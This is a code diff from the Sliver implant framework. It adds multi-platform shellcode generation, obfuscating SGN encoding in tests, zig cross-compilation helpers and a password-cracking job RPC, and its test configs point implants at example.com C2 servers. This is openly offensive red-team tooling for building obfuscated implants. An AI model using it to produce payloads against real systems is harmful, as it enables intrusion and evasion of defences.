if config.GOARCH != "amd64" && config.GOARCH != "386" {
|
||||
return "", fmt.Errorf("windows shellcode format is only supported for amd64 and 386 architectures")
|
||||
}
|
||||
|
||||
appDir := assets.GetRootAppDir()
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "0",
|
||||
@@ -154,7 +529,6 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goGarble(config),
|
||||
}
|
||||
|
||||
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
||||
if err != nil {
|
||||
return "", err
|
||||
@@ -183,7 +557,7 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "", config.DonutConfig)
|
||||
shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "", config.ShellcodeConfig)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -228,6 +602,9 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goGarble(config),
|
||||
}
|
||||
sanitizeZigForBuild(goConfig, "c-shared")
|
||||
buildLog.Infof(" CC: %s", goConfig.CC)
|
||||
buildLog.Infof("CXX: %s", goConfig.CXX)
|
||||
|
||||
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
||||
if err != nil {
|
||||
@@ -250,13 +627,11 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
tags = append(tags, "netgo")
|
||||
}
|
||||
ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
|
||||
ldflags, wantStaticSO := applyZigStaticLinking(goConfig, "c-shared", ldflags)
|
||||
if !config.Debug && goConfig.GOOS == WINDOWS {
|
||||
ldflags[0] += " -H=windowsgui"
|
||||
}
|
||||
// Statically link Linux .so files to avoid glibc hell
|
||||
if goConfig.GOOS == LINUX && goConfig.CC != "" && goConfig.CGO == "1" {
|
||||
ldflags[0] += " -linkmode external -extldflags \"-static\""
|
||||
}
|
||||
|
||||
// Keep those for potential later use
|
||||
gcFlags := ""
|
||||
asmFlags := ""
|
||||
@@ -264,6 +639,11 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if goConfig.GOOS == LINUX {
|
||||
if err := validateELFSharedObject(dest, wantStaticSO); err != nil {
|
||||
return "", err
|
||||
}
|
||||
}
|
||||
|
||||
return dest, err
|
||||
}
|
||||
@@ -272,18 +652,6 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
||||
func SliverExecutable(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||
appDir := assets.GetRootAppDir()
|
||||
|
||||
// var cc string
|
||||
// var cxx string
|
||||
// cgo := "0"
|
||||
// if runtime.GOOS != config.GOOS {
|
||||
// buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||
// cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||
// cgo = "1"
|
||||
// }
|
||||
|
||||
// buildLog.Infof(" CC: %s", cc)
|
||||
// buildLog.Infof("CXX: %s", cxx)
|
||||
|
||||
goConfig := &gogo.GoConfig{
|
||||
CGO: "0",
|
||||
GOOS: config.GOOS,
|
||||
@@ -342,6 +710,7 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
|
||||
|
||||
buildLog.Debugf("Generating new sliver binary '%s'", name)
|
||||
pbC2Implant = models.RandomizeImplantConfig(pbC2Implant, config.GOOS, config.GOARCH)
|
||||
|
||||
sliversDir := GetSliversDir() // ~/.sliver/slivers
|
||||
projectGoPathDir := filepath.Join(sliversDir, config.GOOS, config.GOARCH, filepath.Base(name))
|
||||
if _, err := os.Stat(projectGoPathDir); os.IsNotExist(err) {
|
||||
@@ -806,6 +1175,11 @@ func findCrossCompilers(targetGOOS string, targetGOARCH string) (string, string)
|
||||
}
|
||||
}
|
||||
|
||||
// Ensure all zig invocations have prefix maps applied (prevents absolute
|
||||
// paths under the Sliver zig dir from leaking into artifacts).
|
||||
cc = ensureZigPrefixMap(cc)
|
||||
cxx = ensureZigPrefixMap(cxx)
|
||||
|
||||
return cc, cxx
|
||||
}
|
||||
|
||||
@@ -868,18 +1242,72 @@ func GetCompilerTargets() []*clientpb.CompilerTarget {
|
||||
})
|
||||
}
|
||||
|
||||
// SHELLCODE - Can generate shellcode for Windows targets only
|
||||
// SHELLCODE
|
||||
// - Windows: Donut
|
||||
// - macOS: beignet (darwin/arm64 only)
|
||||
// - Linux: malasada (linux/{amd64,arm64} only)
|
||||
for longPlatform := range SupportedCompilerTargets {
|
||||
platform := strings.SplitN(longPlatform, "/", 2)
|
||||
if platform[0] != WINDOWS {
|
||||
continue
|
||||
}
|
||||
switch platform[0] {
|
||||
case WINDOWS:
|
||||
targets = append(targets, &clientpb.CompilerTarget{
|
||||
GOOS: platform[0],
|
||||
GOARCH: platform[1],
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
})
|
||||
case DARWIN:
|
||||
if platform[1] != "arm64" {
|
||||
continue
|
||||
}
|
||||
|
||||
targets = append(targets, &clientpb.CompilerTarget{
|
||||
GOOS: platform[0],
|
||||
GOARCH: platform[1],
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
})
|
||||
// We can always try to build our own platform.
|
||||
if runtime.GOOS == platform[0] {
|
||||
targets = append(targets, &clientpb.CompilerTarget{
|
||||
GOOS: platform[0],
|
||||
GOARCH: platform[1],
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
// Cross-compile with the right configuration (same requirements as a darwin shared library build).
|
||||
if runtime.GOOS == LINUX || runtime.GOOS == DARWIN {
|
||||
cc, _ := findCrossCompilers(platform[0], platform[1])
|
||||
if cc != "" {
|
||||
targets = append(targets, &clientpb.CompilerTarget{
|
||||
GOOS: platform[0],
|
||||
GOARCH: platform[1],
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
})
|
||||
}
|
||||
}
|
||||
case LINUX:
|
||||
if platform[1] != "amd64" && platform[1] != "arm64" {
|
||||
continue
|
||||
}
|
||||
|
||||
// We can always try to build our own platform.
|
||||
if runtime.GOOS == platform[0] {
|
||||
targets = append(targets, &clientpb.CompilerTarget{
|
||||
GOOS: platform[0],
|
||||
GOARCH: platform[1],
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
// Cross-compile with the right configuration (same requirements as a linux shared library build).
|
||||
if runtime.GOOS == LINUX || runtime.GOOS == DARWIN {
|
||||
cc, _ := findCrossCompilers(platform[0], platform[1])
|
||||
if cc != "" {
|
||||
targets = append(targets, &clientpb.CompilerTarget{
|
||||
GOOS: platform[0],
|
||||
GOARCH: platform[1],
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return targets
|
||||
|
||||
@@ -28,7 +28,6 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -136,10 +135,6 @@ func TestSliverSharedLibWindows(t *testing.T) {
|
||||
// 386
|
||||
multiLibrary(t, "windows", "386", true)
|
||||
multiLibrary(t, "windows", "386", false)
|
||||
|
||||
// Shared Library Shellcode
|
||||
multiWindowsLibraryShellcode(t, true)
|
||||
multiWindowsLibraryShellcode(t, false)
|
||||
}
|
||||
|
||||
func TestSliverExecutableLinux(t *testing.T) {
|
||||
@@ -542,54 +537,6 @@ func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
|
||||
cleanupGeneratedArtifacts(t, binPath)
|
||||
}
|
||||
|
||||
func multiWindowsLibraryShellcode(t *testing.T, debug bool) {
|
||||
t.Logf("[multi] SHELLCODE windows/amd64 - debug: %v", debug)
|
||||
name := fmt.Sprintf("multilibrary_shellcode_test%d", nonce)
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
|
||||
C2: []*clientpb.ImplantC2{
|
||||
{URL: "mtls://1.example.com"},
|
||||
{Priority: 2, URL: "mtls://2.example.com"},
|
||||
{URL: "https://3.example.com"},
|
||||
{URL: "dns://4.example.com", Options: "asdf"},
|
||||
},
|
||||
Debug: debug,
|
||||
ObfuscateSymbols: true,
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
IsShellcode: true,
|
||||
IsSharedLib: false,
|
||||
Exports: []string{"FoobarW"},
|
||||
IncludeMTLS: true,
|
||||
IncludeHTTP: true,
|
||||
IncludeDNS: true,
|
||||
}
|
||||
httpC2Config := configs.GenerateDefaultHTTPC2Config()
|
||||
nonce++
|
||||
build, _ := GenerateConfig(name, config)
|
||||
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
defer cleanupGeneratedArtifacts(t, binPath)
|
||||
|
||||
// encode bin with sgn
|
||||
bin, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
t.Fatalf("reading generated shared lib shellcode failed: %v", err)
|
||||
}
|
||||
_, err = sgn.EncodeShellcodeWithConfig(bin, sgn.SGNConfig{
|
||||
Iterations: 1,
|
||||
PlainDecoder: false,
|
||||
Safe: true,
|
||||
MaxObfuscation: 100,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("sgn encode failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func symbolObfuscation(t *testing.T, goos string, goarch string) {
|
||||
t.Logf("[symbol obfuscation] %s/%s ...", goos, goarch)
|
||||
name := fmt.Sprintf("symbol_test%d", nonce)
|
||||
|
||||
@@ -19,24 +19,24 @@ const (
|
||||
)
|
||||
|
||||
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
|
||||
func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params string, className string, method string, donutConfig *clientpb.DonutConfig) (data []byte, err error) {
|
||||
func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params string, className string, method string, shellcodeConfig *clientpb.ShellcodeConfig) (data []byte, err error) {
|
||||
pe, err := os.ReadFile(filePath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
isDLL := (filepath.Ext(filePath) == ".dll")
|
||||
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, isDLL, false, true, donutConfig)
|
||||
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, isDLL, false, true, shellcodeConfig)
|
||||
}
|
||||
|
||||
// DonutShellcodeFromPE returns a Donut shellcode for the given PE file
|
||||
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, isDLL bool, isUnicode bool, createNewThread bool, donutConfig *clientpb.DonutConfig) (data []byte, err error) {
|
||||
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, isDLL bool, isUnicode bool, createNewThread bool, shellcodeConfig *clientpb.ShellcodeConfig) (data []byte, err error) {
|
||||
ext := ".exe"
|
||||
if isDLL {
|
||||
ext = ".dll"
|
||||
}
|
||||
_ = dotnet
|
||||
|
||||
donutOpts := normalizeDonutConfig(donutConfig, createNewThread, isUnicode)
|
||||
donutOpts := normalizeDonutConfig(shellcodeConfig, createNewThread, isUnicode)
|
||||
donutArch := getDonutArch(arch)
|
||||
|
||||
opts := wasmdonut.GenerateOptions{
|
||||
@@ -73,7 +73,7 @@ type donutOptions struct {
|
||||
oep uint32
|
||||
}
|
||||
|
||||
func normalizeDonutConfig(config *clientpb.DonutConfig, fallbackThread bool, fallbackUnicode bool) donutOptions {
|
||||
func normalizeDonutConfig(config *clientpb.ShellcodeConfig, fallbackThread bool, fallbackUnicode bool) donutOptions {
|
||||
opts := donutOptions{
|
||||
entropy: defaultDonutEntropy,
|
||||
compress: defaultDonutCompress,
|
||||
|
||||
@@ -0,0 +1,126 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/server/gogo"
|
||||
)
|
||||
|
||||
func TestIsZigCC(t *testing.T) {
|
||||
tests := []struct {
|
||||
cc string
|
||||
want bool
|
||||
}{
|
||||
{cc: "", want: false},
|
||||
{cc: "gcc", want: false},
|
||||
{cc: "zig cc -target x86_64-linux-musl", want: true},
|
||||
{cc: "/tmp/zig cc -target x86_64-linux-musl", want: true},
|
||||
{cc: "/tmp/zig c++ -target x86_64-linux-musl", want: false},
|
||||
{cc: "something zig cc something", want: true},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
if got := isZigCC(tt.cc); got != tt.want {
|
||||
t.Fatalf("isZigCC(%q) = %v, want %v", tt.cc, got, tt.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyZigStaticLinking(t *testing.T) {
|
||||
cfg := &gogo.GoConfig{
|
||||
GOOS: "linux",
|
||||
CGO: "1",
|
||||
CC: "/tmp/zig cc -target x86_64-linux-musl",
|
||||
}
|
||||
ldflags, enabled := applyZigStaticLinking(cfg, "c-shared", []string{""})
|
||||
if enabled {
|
||||
t.Fatalf("did not expect -static flags for c-shared (zig emits an ar archive instead of a .so)")
|
||||
}
|
||||
if len(ldflags) != 1 {
|
||||
t.Fatalf("expected a single -ldflags string, got %d (%v)", len(ldflags), ldflags)
|
||||
}
|
||||
if ldflags[0] != "" {
|
||||
t.Fatalf("expected ldflags unchanged, got %q", ldflags[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyZigStaticLinking_Executable(t *testing.T) {
|
||||
cfg := &gogo.GoConfig{
|
||||
GOOS: "linux",
|
||||
CGO: "1",
|
||||
CC: "/tmp/zig cc -target x86_64-linux-musl",
|
||||
}
|
||||
ldflags, enabled := applyZigStaticLinking(cfg, "", []string{""})
|
||||
if !enabled {
|
||||
t.Fatalf("expected static linking to be enabled for linux zig cc executable build")
|
||||
}
|
||||
if len(ldflags) != 1 {
|
||||
t.Fatalf("expected a single -ldflags string, got %d (%v)", len(ldflags), ldflags)
|
||||
}
|
||||
if !strings.Contains(ldflags[0], "-linkmode=external") {
|
||||
t.Fatalf("expected -linkmode=external in ldflags, got %q", ldflags[0])
|
||||
}
|
||||
if !strings.Contains(ldflags[0], "-extldflags=-static") {
|
||||
t.Fatalf("expected -extldflags=-static in ldflags, got %q", ldflags[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyZigStaticLinking_NotLinux(t *testing.T) {
|
||||
cfg := &gogo.GoConfig{
|
||||
GOOS: "windows",
|
||||
CGO: "1",
|
||||
CC: "zig cc -target x86_64-windows-gnu",
|
||||
}
|
||||
ldflags, enabled := applyZigStaticLinking(cfg, "c-shared", []string{""})
|
||||
if enabled {
|
||||
t.Fatalf("did not expect static linking to be enabled on %s", cfg.GOOS)
|
||||
}
|
||||
if len(ldflags) != 1 || ldflags[0] != "" {
|
||||
t.Fatalf("expected ldflags unchanged, got %v", ldflags)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSanitizeZigForBuild_LinuxSharedObject(t *testing.T) {
|
||||
t.Setenv("SLIVER_ROOT_DIR", "/tmp/sliver-test-root")
|
||||
cfg := &gogo.GoConfig{
|
||||
GOOS: "linux",
|
||||
CGO: "1",
|
||||
CC: "/tmp/zig cc -target x86_64-linux-musl -static",
|
||||
CXX: "/tmp/zig c++ -target x86_64-linux-musl -static",
|
||||
}
|
||||
sanitizeZigForBuild(cfg, "c-shared")
|
||||
|
||||
if strings.Contains(cfg.CC, "-static") || strings.Contains(cfg.CXX, "-static") {
|
||||
t.Fatalf("expected -static to be stripped for shared objects, got CC=%q CXX=%q", cfg.CC, cfg.CXX)
|
||||
}
|
||||
if strings.Contains(cfg.CC, "-linux-musl") || strings.Contains(cfg.CXX, "-linux-musl") {
|
||||
t.Fatalf("expected linux-musl -> linux-gnu for shared objects, got CC=%q CXX=%q", cfg.CC, cfg.CXX)
|
||||
}
|
||||
if !strings.Contains(cfg.CC, "-linux-gnu") || !strings.Contains(cfg.CXX, "-linux-gnu") {
|
||||
t.Fatalf("expected linux-gnu target for shared objects, got CC=%q CXX=%q", cfg.CC, cfg.CXX)
|
||||
}
|
||||
|
||||
// We should also add a debug prefix map for the Sliver-managed zig root to
|
||||
// avoid leaking absolute paths in DWARF.
|
||||
if !strings.Contains(cfg.CC, "-fdebug-prefix-map=") {
|
||||
t.Fatalf("expected -fdebug-prefix-map to be set, got CC=%q", cfg.CC)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSanitizeZigForBuild_Windows(t *testing.T) {
|
||||
t.Setenv("SLIVER_ROOT_DIR", "/tmp/sliver-test-root")
|
||||
cfg := &gogo.GoConfig{
|
||||
GOOS: "windows",
|
||||
CGO: "1",
|
||||
CC: "/tmp/zig cc -target x86_64-windows-gnu",
|
||||
CXX: "/tmp/zig c++ -target x86_64-windows-gnu",
|
||||
}
|
||||
sanitizeZigForBuild(cfg, "c-shared")
|
||||
|
||||
if !strings.Contains(cfg.CC, "-fdebug-prefix-map=") {
|
||||
t.Fatalf("expected -fdebug-prefix-map to be set for zig builds, got CC=%q", cfg.CC)
|
||||
}
|
||||
if !strings.Contains(cfg.CXX, "-fdebug-prefix-map=") {
|
||||
t.Fatalf("expected -fdebug-prefix-map to be set for zig builds, got CXX=%q", cfg.CXX)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,188 @@
|
||||
package generate
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
|
||||
)
|
||||
|
||||
func TestSliverShellcodeWindows(t *testing.T) {
|
||||
// Shared Library Shellcode
|
||||
multiWindowsLibraryShellcode(t, true)
|
||||
multiWindowsLibraryShellcode(t, false)
|
||||
}
|
||||
|
||||
func multiWindowsLibraryShellcode(t *testing.T, debug bool) {
|
||||
t.Logf("[multi] SHELLCODE windows/amd64 - debug: %v", debug)
|
||||
name := fmt.Sprintf("multilibrary_shellcode_test%d", nonce)
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
|
||||
C2: []*clientpb.ImplantC2{
|
||||
{URL: "mtls://1.example.com"},
|
||||
{Priority: 2, URL: "mtls://2.example.com"},
|
||||
{URL: "https://3.example.com"},
|
||||
{URL: "dns://4.example.com", Options: "asdf"},
|
||||
},
|
||||
Debug: debug,
|
||||
ObfuscateSymbols: true,
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
IsShellcode: true,
|
||||
IsSharedLib: false,
|
||||
Exports: []string{"FoobarW"},
|
||||
IncludeMTLS: true,
|
||||
IncludeHTTP: true,
|
||||
IncludeDNS: true,
|
||||
}
|
||||
httpC2Config := configs.GenerateDefaultHTTPC2Config()
|
||||
nonce++
|
||||
build, _ := GenerateConfig(name, config)
|
||||
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
defer cleanupGeneratedArtifacts(t, binPath)
|
||||
|
||||
// encode bin with sgn
|
||||
bin, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
t.Fatalf("reading generated shared lib shellcode failed: %v", err)
|
||||
}
|
||||
_, err = sgn.EncodeShellcodeWithConfig(bin, sgn.SGNConfig{
|
||||
Iterations: 1,
|
||||
PlainDecoder: false,
|
||||
Safe: true,
|
||||
MaxObfuscation: 100,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("sgn encode failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSliverShellcodeLinux(t *testing.T) {
|
||||
multiLinuxShellcode(t, "amd64", true)
|
||||
multiLinuxShellcode(t, "amd64", false)
|
||||
|
||||
multiLinuxShellcode(t, "arm64", true)
|
||||
multiLinuxShellcode(t, "arm64", false)
|
||||
}
|
||||
|
||||
func multiLinuxShellcode(t *testing.T, goarch string, debug bool) {
|
||||
t.Helper()
|
||||
|
||||
t.Logf("[multi] SHELLCODE linux/%s - debug: %v", goarch, debug)
|
||||
name := fmt.Sprintf("multi_linux_shellcode_test%d", nonce)
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "linux",
|
||||
GOARCH: goarch,
|
||||
|
||||
C2: []*clientpb.ImplantC2{
|
||||
{URL: "mtls://1.example.com"},
|
||||
{Priority: 2, URL: "mtls://2.example.com"},
|
||||
{URL: "https://3.example.com"},
|
||||
{URL: "dns://4.example.com", Options: "asdf"},
|
||||
},
|
||||
Debug: debug,
|
||||
ObfuscateSymbols: true,
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
IsShellcode: true,
|
||||
IsSharedLib: false,
|
||||
Exports: []string{"FoobarW"},
|
||||
IncludeMTLS: true,
|
||||
IncludeHTTP: true,
|
||||
IncludeDNS: true,
|
||||
}
|
||||
httpC2Config := configs.GenerateDefaultHTTPC2Config()
|
||||
nonce++
|
||||
build, _ := GenerateConfig(name, config)
|
||||
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
defer cleanupGeneratedArtifacts(t, binPath)
|
||||
|
||||
bin, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
t.Fatalf("reading generated linux shellcode failed: %v", err)
|
||||
}
|
||||
if len(bin) == 0 {
|
||||
t.Fatalf("generated linux shellcode is empty")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSliverShellcodeDarwin(t *testing.T) {
|
||||
// darwin shellcode generation requires a native toolchain (no default zig/osxcross support).
|
||||
if runtime.GOOS != "darwin" {
|
||||
t.Skipf("Skipping darwin shellcode generation on %s", runtime.GOOS)
|
||||
}
|
||||
|
||||
multiDarwinShellcode(t, true)
|
||||
multiDarwinShellcode(t, false)
|
||||
}
|
||||
|
||||
func multiDarwinShellcode(t *testing.T, debug bool) {
|
||||
t.Helper()
|
||||
|
||||
t.Logf("[multi] SHELLCODE darwin/arm64 - debug: %v", debug)
|
||||
name := fmt.Sprintf("multi_darwin_shellcode_test%d", nonce)
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: "darwin",
|
||||
GOARCH: "arm64",
|
||||
|
||||
C2: []*clientpb.ImplantC2{
|
||||
{URL: "mtls://1.example.com"},
|
||||
{Priority: 2, URL: "mtls://2.example.com"},
|
||||
{URL: "https://3.example.com"},
|
||||
{URL: "dns://4.example.com", Options: "asdf"},
|
||||
},
|
||||
Debug: debug,
|
||||
ObfuscateSymbols: true,
|
||||
Format: clientpb.OutputFormat_SHELLCODE,
|
||||
IsShellcode: true,
|
||||
IsSharedLib: false,
|
||||
Exports: []string{"FoobarW"},
|
||||
IncludeMTLS: true,
|
||||
IncludeHTTP: true,
|
||||
IncludeDNS: true,
|
||||
}
|
||||
httpC2Config := configs.GenerateDefaultHTTPC2Config()
|
||||
nonce++
|
||||
build, _ := GenerateConfig(name, config)
|
||||
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
|
||||
if err != nil {
|
||||
t.Fatalf("%v", err)
|
||||
}
|
||||
defer cleanupGeneratedArtifacts(t, binPath)
|
||||
|
||||
bin, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
t.Fatalf("reading generated darwin shellcode failed: %v", err)
|
||||
}
|
||||
if len(bin) == 0 {
|
||||
t.Fatalf("generated darwin shellcode is empty")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
package rpc
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/gofrs/uuid"
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
var (
|
||||
crackCommandRpcLog = log.NamedLogger("rpc", "crack")
|
||||
)
|
||||
|
||||
func (rpc *Server) Crack(ctx context.Context, req *clientpb.CrackCommand) (*clientpb.CrackResponse, error) {
|
||||
if req == nil {
|
||||
crackCommandRpcLog.Warn("Received empty crack command")
|
||||
return &clientpb.CrackResponse{}, nil
|
||||
}
|
||||
|
||||
crackCommandRpcLog.Infof(
|
||||
"Crack request: attack=%s hashType=%s hashes=%d status=%t",
|
||||
req.AttackMode.String(),
|
||||
req.HashType.String(),
|
||||
len(req.Hashes),
|
||||
req.Status,
|
||||
)
|
||||
|
||||
jobID, err := uuid.NewV4()
|
||||
if err != nil {
|
||||
crackCommandRpcLog.Errorf("Failed to generate crack job ID: %s", err)
|
||||
return nil, status.Error(codes.Internal, "failed to generate crack job id")
|
||||
}
|
||||
|
||||
job := &models.CrackJob{
|
||||
ID: jobID,
|
||||
}
|
||||
command := models.CrackCommand{}.FromProtobuf(req)
|
||||
command.CrackJobID = jobID
|
||||
|
||||
if err := db.Session().Transaction(func(tx *gorm.DB) error {
|
||||
if err := tx.Create(job).Error; err != nil {
|
||||
return err
|
||||
}
|
||||
return tx.Create(command).Error
|
||||
}); err != nil {
|
||||
crackCommandRpcLog.Errorf("Failed to save crack job: %s", err)
|
||||
return nil, status.Error(codes.Internal, "failed to save crack job")
|
||||
}
|
||||
|
||||
job.Command = *command
|
||||
return &clientpb.CrackResponse{Job: job.ToProtobuf()}, nil
|
||||
}
|
||||
@@ -40,6 +40,7 @@ import (
|
||||
"google.golang.org/grpc/codes"
|
||||
"google.golang.org/grpc/status"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -112,16 +113,37 @@ func (rpc *Server) CrackstationBenchmark(ctx context.Context, req *clientpb.Crac
|
||||
crackRpcLog.Errorf("Failed to get crackstation by host UUID: %s", err)
|
||||
return nil, status.Errorf(codes.NotFound, "Failed to find crackstation by host UUID")
|
||||
}
|
||||
crackstation.Benchmarks = []models.Benchmark{}
|
||||
benchmarks := make([]models.Benchmark, 0, len(req.Benchmarks))
|
||||
for hashType, speed := range req.Benchmarks {
|
||||
crackstation.Benchmarks = append(crackstation.Benchmarks, models.Benchmark{HashType: hashType, PerSecondRate: speed})
|
||||
benchmarks = append(benchmarks, models.Benchmark{
|
||||
CrackstationID: crackstation.ID,
|
||||
HashType: hashType,
|
||||
PerSecondRate: speed,
|
||||
})
|
||||
}
|
||||
|
||||
dbSession := db.Session()
|
||||
err = dbSession.Save(&crackstation).Error
|
||||
err = dbSession.Transaction(func(tx *gorm.DB) error {
|
||||
if err := tx.Where("crackstation_id = ?", crackstation.ID).Delete(&models.Benchmark{}).Error; err != nil {
|
||||
return err
|
||||
}
|
||||
if len(benchmarks) == 0 {
|
||||
return nil
|
||||
}
|
||||
return tx.Create(&benchmarks).Error
|
||||
})
|
||||
if err != nil {
|
||||
crackRpcLog.Errorf("Failed to save crackstation benchmarks: %s", err)
|
||||
return nil, status.Errorf(codes.Internal, "Failed to save crackstation benchmarks")
|
||||
}
|
||||
|
||||
crackStation := core.GetCrackstation(req.HostUUID)
|
||||
if crackStation != nil {
|
||||
crackStation.Station.Benchmarks = map[int32]uint64{}
|
||||
for hashType, speed := range req.Benchmarks {
|
||||
crackStation.Station.Benchmarks[hashType] = speed
|
||||
}
|
||||
}
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
|
||||
@@ -161,7 +183,12 @@ func (rpc *Server) CrackstationRegister(req *clientpb.Crackstation, stream rpcpb
|
||||
|
||||
